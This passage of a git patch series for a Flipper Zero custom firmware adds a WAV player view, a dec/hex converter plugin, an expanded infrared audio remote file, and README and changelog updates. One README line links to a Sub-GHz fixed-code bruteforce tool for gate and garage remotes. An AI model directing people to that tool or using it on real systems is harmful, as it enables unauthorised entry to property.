start; + size_t end; + size_t current; + uint8_t data[DATA_COUNT]; +} WavPlayerViewModel; + +float map(float x, float in_min, float in_max, float out_min, float out_max) { + return (x - in_min) * (out_max - out_min + 1) / (in_max - in_min + 1) + out_min; +} + +static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { + WavPlayerViewModel* model = _model; + + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + uint8_t x_pos = 0; + uint8_t y_pos = 0; + + // volume + x_pos = 124; + y_pos = 0; + const float volume = (64 / 10.0f) * model->volume; + canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); + canvas_draw_box(canvas, x_pos, y_pos + (64 - volume), 4, volume); + + // play / pause + x_pos = 58; + y_pos = 55; + if(!model->play) { + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 8, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 8, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + } else { + canvas_draw_box(canvas, x_pos, y_pos, 3, 9); + canvas_draw_box(canvas, x_pos + 4, y_pos, 3, 9); + } + + x_pos = 78; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 82; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 40; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 44; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + // len + x_pos = 4; + y_pos = 47; + const uint8_t play_len = 116; + uint8_t play_pos = map(model->current, model->start, model->end, 0, play_len - 4); + + canvas_draw_frame(canvas, x_pos, y_pos, play_len, 4); + canvas_draw_box(canvas, x_pos + play_pos, y_pos - 2, 4, 8); + canvas_draw_box(canvas, x_pos, y_pos, play_pos, 4); + + // osc + x_pos = 4; + y_pos = 0; + for(size_t i = 1; i < DATA_COUNT; i++) { + canvas_draw_line(canvas, x_pos + i - 1, model->data[i - 1], x_pos + i, model->data[i]); + } +} + +static bool wav_player_view_input_callback(InputEvent* event, void* context) { + WavPlayerView* wav_player_view = context; + bool consumed = false; + + if(wav_player_view->callback) { + if(event->type == InputTypeShort || event->type == InputTypeRepeat) { + if(event->key == InputKeyUp) { + wav_player_view->callback(WavPlayerCtrlVolUp, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyDown) { + wav_player_view->callback(WavPlayerCtrlVolDn, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyLeft) { + wav_player_view->callback(WavPlayerCtrlMoveL, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyRight) { + wav_player_view->callback(WavPlayerCtrlMoveR, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyOk) { + wav_player_view->callback(WavPlayerCtrlOk, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyBack) { + wav_player_view->callback(WavPlayerCtrlBack, wav_player_view->context); + consumed = true; + } + } + } + + return consumed; +} + +WavPlayerView* wav_player_view_alloc() { + WavPlayerView* wav_view = malloc(sizeof(WavPlayerView)); + wav_view->view = view_alloc(); + view_set_context(wav_view->view, wav_view); + view_allocate_model(wav_view->view, ViewModelTypeLocking, sizeof(WavPlayerViewModel)); + view_set_draw_callback(wav_view->view, wav_player_view_draw_callback); + view_set_input_callback(wav_view->view, wav_player_view_input_callback); + + return wav_view; +} + +void wav_player_view_free(WavPlayerView* wav_view) { + furi_assert(wav_view); + view_free(wav_view->view); + free(wav_view); +} + +View* wav_player_view_get_view(WavPlayerView* wav_view) { + furi_assert(wav_view); + return wav_view->view; +} + +void wav_player_view_set_volume(WavPlayerView* wav_view, float volume) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->volume = volume; + return true; + }); +} + +void wav_player_view_set_start(WavPlayerView* wav_view, size_t start) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->start = start; + return true; + }); +} + +void wav_player_view_set_end(WavPlayerView* wav_view, size_t end) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->end = end; + return true; + }); +} + +void wav_player_view_set_current(WavPlayerView* wav_view, size_t current) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->current = current; + return true; + }); +} + +void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->play = play; + return true; + }); +} + +void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + size_t inc = (data_count / DATA_COUNT) - 1; + + for(size_t i = 0; i < DATA_COUNT; i++) { + model->data[i] = *data / 6; + if(model->data[i] > 42) model->data[i] = 42; + data += inc; + } + return true; + }); +} + +void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback) { + furi_assert(wav_view); + wav_view->callback = callback; +} + +void wav_player_view_set_context(WavPlayerView* wav_view, void* context) { + furi_assert(wav_view); + wav_view->context = context; +} \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.h b/applications/wav_player/wav_player_view.h new file mode 100644 index 000000000..246aeaf3e --- /dev/null +++ b/applications/wav_player/wav_player_view.h @@ -0,0 +1,45 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct WavPlayerView WavPlayerView; + +typedef enum { + WavPlayerCtrlVolUp, + WavPlayerCtrlVolDn, + WavPlayerCtrlMoveL, + WavPlayerCtrlMoveR, + WavPlayerCtrlOk, + WavPlayerCtrlBack, +} WavPlayerCtrl; + +typedef void (*WavPlayerCtrlCallback)(WavPlayerCtrl ctrl, void* context); + +WavPlayerView* wav_player_view_alloc(); + +void wav_player_view_free(WavPlayerView* wav_view); + +View* wav_player_view_get_view(WavPlayerView* wav_view); + +void wav_player_view_set_volume(WavPlayerView* wav_view, float volume); + +void wav_player_view_set_start(WavPlayerView* wav_view, size_t start); + +void wav_player_view_set_end(WavPlayerView* wav_view, size_t end); + +void wav_player_view_set_current(WavPlayerView* wav_view, size_t current); + +void wav_player_view_set_play(WavPlayerView* wav_view, bool play); + +void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); + +void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); + +void wav_player_view_set_context(WavPlayerView* wav_view, void* context); + +#ifdef __cplusplus +} +#endif \ No newline at end of file From 51d3900b21e32e11399f1aa34d7d7472d7c84b14 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 05:02:07 +0300 Subject: [PATCH 455/461] update readme --- ReadMe.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/ReadMe.md b/ReadMe.md index cbb659786..f9575c67b 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -90,6 +90,8 @@ See changelog in releases for latest updates! ## [- Barcode Generator](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BarcodeGenerator.md) +## [- WAV Player sample files & how to convert](https://github.com/UberGuidoZ/Flipper/tree/main/Wav_Player#readme) + ### **Plugins that works with external hardware** ## [- How to use: [NRF24] plugins](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/NRF24.md) From f98752bb509040d50c9cdedf9d5e27bc30bb0922 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 05:39:45 +0300 Subject: [PATCH 456/461] update audio universal remote asset from @amec0e / @UberGuidoZ --- assets/resources/Manifest | 4 +- assets/resources/infrared/assets/audio.ir | 118 ++++++++++++++++++---- 2 files changed, 99 insertions(+), 23 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 38f878fe0..ce695f14d 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1659898487 +T:1659926106 D:badusb D:dolphin D:infrared @@ -241,7 +241,7 @@ F:f267f0654781049ca323b11bb4375519:581:dolphin/L3_Lab_research_128x54/frame_9.bm F:41106c0cbc5144f151b2b2d3daaa0527:727:dolphin/L3_Lab_research_128x54/meta.txt D:infrared/assets F:4f656979648633e248c0f7f7a37e3a8d:21271:infrared/assets/ac.ir -F:af70272540bb3b7e87e81f7c522b531d:23933:infrared/assets/audio.ir +F:b61d602f6a60555f2d92d4eebfa27924:27419:infrared/assets/audio.ir F:45d36ceeac6be64eea3a0615a612ccbc:107466:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index f99537db1..2796a01b7 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -1,15 +1,15 @@ Filetype: IR signals file Version: 1 # -# This file has all the speakers and soundbars POWER and MUTE buttons ONLY +# This file has all the Speakers, SoundBars and Audio Receivers. POWER and MUTE buttons ONLY # from https://github.com/UberGuidoZ/Flipper-IRDB -# Some Buttons were labeled PowerToggle, Pwr, or Sleep and were assumed to be POWER functions. +# Some Buttons was labeled PowerToggle,Pwr, Sleep or Off. These was assumed to be POWER functions. +# While Care was taken to remove all possible duplicates, some may still be lurking, +# If you find any duplicates just @ me on discord # -# ---------- # | SPEAKERS | -# ---------- # -# Audioengine A5+ +# Audioengine # name: POWER type: parsed @@ -81,12 +81,6 @@ protocol: NEC address: 00 00 00 00 command: 12 00 00 00 # -name: POWER -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 12 00 00 00 -# name: MUTE type: parsed protocol: NEC @@ -207,9 +201,7 @@ protocol: NEC address: 08 00 00 00 command: 16 00 00 00 # -# ----------- # | SOUNDBARS | -# ----------- # # Audac # @@ -245,12 +237,6 @@ protocol: NECext address: BA A0 00 00 command: 4C B3 00 00 # -name: POWER -type: parsed -protocol: NECext -address: BA A0 00 00 -command: 4C B3 00 00 -# name: MUTE type: parsed protocol: NECext @@ -307,8 +293,6 @@ protocol: NECext address: 83 22 00 00 command: 0C F3 00 00 # -# CRAIG ALREADY ADDED ABOVE -# # KLIPSCH # name: POWER @@ -560,3 +544,95 @@ type: parsed protocol: NEC address: 7A 00 00 00 command: 1C 00 00 00 +# +# | Audio Receivers | +# +# Denon +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 274 789 254 1792 275 814 250 787 246 816 248 1798 279 784 249 813 251 785 248 788 245 1827 281 1791 275 1825 272 790 253 783 250 43886 277 786 278 1795 272 791 252 783 281 782 251 785 269 1804 273 1800 277 1822 275 1798 279 783 270 766 277 759 274 1825 272 1800 277 43886 277 759 274 1825 272 764 279 756 277 786 278 1795 282 781 272 763 280 755 278 785 279 1794 273 1827 270 1802 275 761 272 791 273 43888 276 761 272 1800 277 786 278 758 275 760 273 790 274 1799 278 1821 276 1796 281 1792 275 788 276 760 273 789 275 1798 279 1794 273 43889 278 785 248 1825 272 790 253 782 272 764 279 1793 274 790 274 761 282 781 273 763 280 1793 273 1825 272 1800 277 813 220 789 275 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 270 793 250 1795 272 818 246 791 252 809 244 766 277 1795 282 781 272 790 253 809 224 1822 275 1797 280 1820 277 785 248 788 245 43889 273 790 274 1799 278 785 248 788 276 787 246 1826 271 792 251 1794 273 1827 270 1802 275 788 245 791 273 790 253 1819 278 1794 273 43889 274 789 254 1818 269 767 276 786 247 789 275 788 245 1827 270 792 251 785 248 814 250 1796 281 1819 248 1825 272 790 253 783 271 43889 245 791 273 1799 278 786 278 784 249 787 246 1827 281 781 252 1821 276 1796 281 1792 274 814 250 786 247 789 244 1829 279 1793 274 43888 275 815 218 1828 280 783 250 786 278 785 248 788 245 1827 280 782 251 785 268 794 249 1797 280 1819 278 1794 272 791 252 810 254 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 275 762 271 1800 277 786 278 784 249 813 241 795 248 814 219 817 247 789 254 1818 249 1824 274 1798 279 1820 278 759 274 788 245 43887 274 789 275 1798 279 783 250 812 252 784 249 1823 274 1798 279 1820 247 1826 271 765 278 809 224 812 252 784 249 1823 275 1798 279 43880 281 782 251 1821 277 760 273 789 244 818 246 790 253 808 246 791 252 809 224 1822 275 1797 280 1819 248 1825 273 790 253 808 246 +# +# NAD +# +name: POWER +type: raw +frequency: 39105 +duty_cycle: 0.330000 +data: 5396 53113 8899 4450 563 1662 563 1662 563 1662 563 563 563 563 563 563 563 563 563 1662 563 563 563 563 563 1662 563 1662 563 1662 563 1662 563 1662 563 563 563 563 563 563 563 563 563 563 563 563 563 563 563 563 563 1662 563 1662 563 1662 563 1662 563 1662 563 1662 563 1662 563 1662 563 563 563 38358 8899 2225 563 95052 +# +name: MUTE +type: raw +frequency: 39105 +duty_cycle: 0.330000 +data: 5498 53523 8899 4450 563 1662 563 1662 563 1662 563 563 563 563 563 563 563 563 563 1662 563 563 563 563 563 1662 563 1662 563 1662 563 1662 563 1662 563 563 563 563 563 563 563 1662 563 563 563 1662 563 563 563 563 563 1662 563 1662 563 1662 563 563 563 1662 563 563 563 1662 563 1662 563 563 563 38358 8899 2199 563 95052 +# +# Onkyo +# +name: POWER +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CB 34 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 FA 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 04 FB 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 03 00 00 +command: 05 FA 00 00 +# +# REGA +# +name: MUTE +type: parsed +protocol: RC5 +address: 10 00 00 00 +command: 0D 00 00 00 +# +# SONY +# +name: POWER +type: parsed +protocol: SIRC15 +address: 10 00 00 00 +command: 60 00 00 00 +# +# YAMAHA +# +name: POWER +type: parsed +protocol: NECext +address: 7E 81 00 00 +command: 2A D4 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7A 85 00 00 +command: 1C E2 00 00 From b82fac6a13b5be450803693febc166e78b64168b Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 05:40:53 +0300 Subject: [PATCH 457/461] update changelog --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 81dae00e2..68bc0be42 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,5 @@ ### New changes -* Universal Remote for ACs and Audio(soundbars, etc..) +* Universal Remote for ACs and Audio(soundbars, etc..) / + updated audio universal remote file * Added wav player * Games fixes and improvements * OFW: SubGhz: add protocol BERNER / ELKA / TEDSEN / TELETASTER / Doitrand / Marantec / Phoenix V2 (static mode) / Phox (static mode), fix Princeton From 7205806026a49bcf64616d40c3af49fdb20b57ba Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 06:08:37 +0300 Subject: [PATCH 458/461] update readme --- ReadMe.md | 1 + 1 file changed, 1 insertion(+) diff --git a/ReadMe.md b/ReadMe.md index f9575c67b..aa2cd2807 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -122,6 +122,7 @@ See changelog in releases for latest updates! # Where I can find IR, SubGhz, ... files, DBs, and other stuff? ## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero) ## [UberGuidoZ Playground - Large collection of files - Github](https://github.com/UberGuidoZ/Flipper) +## [CAME, NICE, PT-2240, PT-2262 - SubGHz fixed code bruteforce](https://github.com/tobiabocchi/flipperzero-bruteforce)

From 9bb1e2d11a31a81a690d3971d35823a3d64c1d78 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 8 Aug 2022 12:34:11 +0300 Subject: [PATCH 459/461] dec/hex converter plugin & subghz freqs sorted plugin by @theisolinearchip --- .../dec_hex_converter/application.fam | 10 + .../dec_hex_converter/dec_hex_converter.c | 404 ++++++++++++++++++ applications/meta/application.fam | 1 + assets/resources/Manifest | 4 +- assets/resources/subghz/assets/setting_user | 29 +- 5 files changed, 443 insertions(+), 5 deletions(-) create mode 100644 applications/dec_hex_converter/application.fam create mode 100644 applications/dec_hex_converter/dec_hex_converter.c diff --git a/applications/dec_hex_converter/application.fam b/applications/dec_hex_converter/application.fam new file mode 100644 index 000000000..062c40b26 --- /dev/null +++ b/applications/dec_hex_converter/application.fam @@ -0,0 +1,10 @@ +App( + appid="dec_hex_converter", + name="Dec/Hex Converter", + apptype=FlipperAppType.PLUGIN, + entry_point="dec_hex_converter_app", + cdefines=["APP_DEC_HEX_CONVERTER"], + requires=["gui"], + stack_size=1 * 1024, + order=19, +) diff --git a/applications/dec_hex_converter/dec_hex_converter.c b/applications/dec_hex_converter/dec_hex_converter.c new file mode 100644 index 000000000..1661dbd16 --- /dev/null +++ b/applications/dec_hex_converter/dec_hex_converter.c @@ -0,0 +1,404 @@ +#include +#include +#include +#include + +#define DEC_HEX_CONVERTER_NUMBER_DIGITS 9 +#define DEC_HEX_CONVERTER_KEYS 18 +#define DEC_HEX_CONVERTER_KEY_DEL 16 +// #define DEC_HEX_CONVERTER_KEY_SWAP 17 // actually not used... + +#define DEC_HEX_CONVERTER_CHAR_DEL '<' +#define DEC_HEX_CONVERTER_CHAR_SWAP 's' +#define DEC_HEX_CONVERTER_CHAR_MODE '#' +#define DEC_HEX_CONVERTER_CHAR_OVERFLOW '#' + +#define DEC_HEX_CONVERTER_KEY_FRAME_MARGIN 3 +#define DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT 8 + +#define DEC_HEX_MAX_SUPORTED_DEC_INT 999999999 + +typedef enum { + EventTypeKey, +} EventType; + +typedef struct { + InputEvent input; + EventType type; +} DecHexConverterEvent; + +typedef enum { + ModeDec, + ModeHex, +} Mode; + +// setting up one char array next to the other one causes the canvas_draw_str to display both of them +// when addressing the first one if there's no string terminator or similar indicator. Adding a \0 seems +// to work fine to prevent that, so add a final last char outside the size constants (added on init +// and NEVER changed nor referenced again) +// +// (as a reference, canvas_draw_str ends up calling u8g2_DrawStr from u8g2_font.c, +// that finally ends up calling u8g2_draw_string) +typedef struct { + char dec_number[DEC_HEX_CONVERTER_NUMBER_DIGITS + 1]; + char hex_number[DEC_HEX_CONVERTER_NUMBER_DIGITS + 1]; + Mode mode; // dec / hex + int8_t cursor; // position on keyboard (includes digit letters and other options) + int8_t digit_pos; // current digit on selected mode +} DecHexConverterState; + +// move cursor left / right (TODO: implement menu nav in a more "standard" and reusable way?) +void dec_hex_converter_logic_move_cursor_lr( + DecHexConverterState* const dec_hex_converter_state, + int8_t d) { + dec_hex_converter_state->cursor += d; + + if(dec_hex_converter_state->cursor > DEC_HEX_CONVERTER_KEYS - 1) + dec_hex_converter_state->cursor = 0; + else if(dec_hex_converter_state->cursor < 0) + dec_hex_converter_state->cursor = DEC_HEX_CONVERTER_KEYS - 1; + + // if we're moving left / right to the letters keys on ModeDec just go to the closest available key + if(dec_hex_converter_state->mode == ModeDec) { + if(dec_hex_converter_state->cursor == 10) + dec_hex_converter_state->cursor = 16; + else if(dec_hex_converter_state->cursor == 15) + dec_hex_converter_state->cursor = 9; + } +} + +// move cursor up / down; there're two lines, so we basically toggle +void dec_hex_converter_logic_move_cursor_ud(DecHexConverterState* const dec_hex_converter_state) { + if(dec_hex_converter_state->cursor < 9) { + // move to second line ("down") + dec_hex_converter_state->cursor += 9; + + // if we're reaching the letter keys while ModeDec, just move left / right for the first available key + if(dec_hex_converter_state->mode == ModeDec && + (dec_hex_converter_state->cursor >= 10 && dec_hex_converter_state->cursor <= 15)) { + if(dec_hex_converter_state->cursor <= 12) + dec_hex_converter_state->cursor = 9; + else + dec_hex_converter_state->cursor = 16; + } + } else { + // move to first line ("up") + dec_hex_converter_state->cursor -= 9; + } +} + +// fetch number from current mode and modifies the destination one, RM dnt stel pls +// (if destination is shorter than the output value, overried with "-" chars or something similar) +void dec_hex_converter_logic_convert_number(DecHexConverterState* const dec_hex_converter_state) { + char* s_ptr; + char* d_ptr; + + char dest[DEC_HEX_CONVERTER_NUMBER_DIGITS]; + int i = 0; // current index on destination array + + if(dec_hex_converter_state->mode == ModeDec) { + // DEC to HEX cannot overflow if they're, at least, the same size + + s_ptr = dec_hex_converter_state->dec_number; + d_ptr = dec_hex_converter_state->hex_number; + + int a = atoi(s_ptr); + int r; + while(a != 0) { + r = a % 16; + dest[i] = r + (r < 10 ? '0' : ('A' - 10)); + a /= 16; + i++; + } + + } else { + s_ptr = dec_hex_converter_state->hex_number; + d_ptr = dec_hex_converter_state->dec_number; + + int a = strtol(s_ptr, NULL, 16); + if(a > DEC_HEX_MAX_SUPORTED_DEC_INT) { + // draw all "###" if there's an overflow + for(int j = 0; j < DEC_HEX_CONVERTER_NUMBER_DIGITS; j++) { + d_ptr[j] = DEC_HEX_CONVERTER_CHAR_OVERFLOW; + } + return; + } else { + while(a > 0) { + dest[i++] = (a % 10) + '0'; + a /= 10; + } + } + } + + // dest is reversed, copy to destination pointer and append empty chars at the end + for(int j = 0; j < DEC_HEX_CONVERTER_NUMBER_DIGITS; j++) { + if(i >= 1) + d_ptr[j] = dest[--i]; + else + d_ptr[j] = ' '; + } +} + +// change from DEC to HEX or HEX to DEC, set the digit_pos to the last position not empty on the destination mode +void dec_hex_converter_logic_swap_mode(DecHexConverterState* const dec_hex_converter_state) { + char* n_ptr; + if(dec_hex_converter_state->mode == ModeDec) { + dec_hex_converter_state->mode = ModeHex; + n_ptr = dec_hex_converter_state->hex_number; + } else { + dec_hex_converter_state->mode = ModeDec; + n_ptr = dec_hex_converter_state->dec_number; + } + + dec_hex_converter_state->digit_pos = DEC_HEX_CONVERTER_NUMBER_DIGITS; + for(int i = 0; i < DEC_HEX_CONVERTER_NUMBER_DIGITS; i++) { + if(n_ptr[i] == ' ') { + dec_hex_converter_state->digit_pos = i; + break; + } + } +} + +// removes the number on current digit on current mode +static void + dec_hex_converter_logic_del_number(DecHexConverterState* const dec_hex_converter_state) { + if(dec_hex_converter_state->digit_pos > 0) dec_hex_converter_state->digit_pos--; + + if(dec_hex_converter_state->mode == ModeDec) { + dec_hex_converter_state->dec_number[dec_hex_converter_state->digit_pos] = ' '; + } else { + dec_hex_converter_state->hex_number[dec_hex_converter_state->digit_pos] = ' '; + } +} + +// append a number to the digit on the current mode +static void dec_hex_converter_logic_add_number( + DecHexConverterState* const dec_hex_converter_state, + int8_t number) { + // ignore HEX values on DEC mode (probably button nav will be disabled too, so cannot reach); + // also do not add anything if we're out of bound + if((number > 9 && dec_hex_converter_state->mode == ModeDec) || + dec_hex_converter_state->digit_pos >= DEC_HEX_CONVERTER_NUMBER_DIGITS) + return; + + char* s_ptr; + + if(dec_hex_converter_state->mode == ModeDec) { + s_ptr = dec_hex_converter_state->dec_number; + } else { + s_ptr = dec_hex_converter_state->hex_number; + } + + if(number < 10) { + s_ptr[dec_hex_converter_state->digit_pos] = number + '0'; + } else { + s_ptr[dec_hex_converter_state->digit_pos] = (number - 10) + 'A'; // A-F (HEX only) + } + + dec_hex_converter_state->digit_pos++; +} + +// --------------- + +static void dec_hex_converter_render_callback(Canvas* const canvas, void* ctx) { + const DecHexConverterState* dec_hex_converter_state = acquire_mutex((ValueMutex*)ctx, 25); + if(dec_hex_converter_state == NULL) { + return; + } + + canvas_set_color(canvas, ColorBlack); + + // DEC + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 2, 10, "DEC: "); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 2 + 30, 10, dec_hex_converter_state->dec_number); + + // HEX + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 2, 10 + 12, "HEX: "); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 2 + 30, 10 + 12, dec_hex_converter_state->hex_number); + + // current mode indicator + // char buffer[4]; + // snprintf(buffer, sizeof(buffer), "%u", dec_hex_converter_state->digit_pos); // debug: show digit position instead of selected mode + if(dec_hex_converter_state->mode == ModeDec) { + canvas_draw_glyph(canvas, 128 - 10, 10, DEC_HEX_CONVERTER_CHAR_MODE); + } else { + canvas_draw_glyph(canvas, 128 - 10, 10 + 12, DEC_HEX_CONVERTER_CHAR_MODE); + } + + // draw the line + canvas_draw_line(canvas, 2, 25, 128 - 3, 25); + + // draw the keyboard + uint8_t _x = 5; + uint8_t _y = 25 + 15; // line + 10 + + for(int i = 0; i < DEC_HEX_CONVERTER_KEYS; i++) { + char g; + if(i < 10) + g = (i + '0'); + else if(i < 16) + g = ((i - 10) + 'A'); + else if(i == 16) + g = DEC_HEX_CONVERTER_CHAR_DEL; // '<' + else + g = DEC_HEX_CONVERTER_CHAR_SWAP; // 's' + + uint8_t g_w = canvas_glyph_width(canvas, g); + + // disable letters on DEC mode (but keep the previous width for visual purposes - show "blank keys") + if(dec_hex_converter_state->mode == ModeDec && i > 9 && i < 16) g = ' '; + + if(dec_hex_converter_state->cursor == i) { + canvas_draw_box( + canvas, + _x - DEC_HEX_CONVERTER_KEY_FRAME_MARGIN, + _y - (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN), + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN + g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN, + DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2); + canvas_set_color(canvas, ColorWhite); + canvas_draw_glyph(canvas, _x, _y, g); + canvas_set_color(canvas, ColorBlack); + } else { + canvas_draw_frame( + canvas, + _x - DEC_HEX_CONVERTER_KEY_FRAME_MARGIN, + _y - (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN), + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN + g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN, + DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2); + canvas_draw_glyph(canvas, _x, _y, g); + } + + if(i < 8) { + _x += g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2 + 2; + } else if(i == 8) { + _y += (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2) + 3; + _x = 7; // some padding at the beginning on second line + } else { + _x += g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2 + 1; + } + } + + release_mutex((ValueMutex*)ctx, dec_hex_converter_state); +} + +static void + dec_hex_converter_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + DecHexConverterEvent event = {.type = EventTypeKey, .input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void dec_hex_converter_init(DecHexConverterState* const dec_hex_converter_state) { + dec_hex_converter_state->mode = ModeDec; + dec_hex_converter_state->digit_pos = 0; + + dec_hex_converter_state->dec_number[DEC_HEX_CONVERTER_NUMBER_DIGITS] = '\0'; // null terminator + dec_hex_converter_state->hex_number[DEC_HEX_CONVERTER_NUMBER_DIGITS] = '\0'; // null terminator + + for(int i = 0; i < DEC_HEX_CONVERTER_NUMBER_DIGITS; i++) { + dec_hex_converter_state->dec_number[i] = ' '; + dec_hex_converter_state->hex_number[i] = ' '; + } +} + +// main entry point +int32_t dec_hex_converter_app(void* p) { + UNUSED(p); + + // get event queue + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(DecHexConverterEvent)); + + // allocate state + DecHexConverterState* dec_hex_converter_state = malloc(sizeof(DecHexConverterState)); + + // set mutex for plugin state (different threads can access it) + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, dec_hex_converter_state, sizeof(dec_hex_converter_state))) { + FURI_LOG_E("DecHexConverter", "cannot create mutex\r\n"); + furi_message_queue_free(event_queue); + free(dec_hex_converter_state); + return 255; + } + + // register callbacks for drawing and input processing + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, dec_hex_converter_render_callback, &state_mutex); + view_port_input_callback_set(view_port, dec_hex_converter_input_callback, event_queue); + + // open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + dec_hex_converter_init(dec_hex_converter_state); + + // main loop + DecHexConverterEvent event; + for(bool processing = true; processing;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + DecHexConverterState* dec_hex_converter_state = + (DecHexConverterState*)acquire_mutex_block(&state_mutex); + + if(event_status == FuriStatusOk) { + // press events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress) { + switch(event.input.key) { + default: + break; + case InputKeyUp: + case InputKeyDown: + 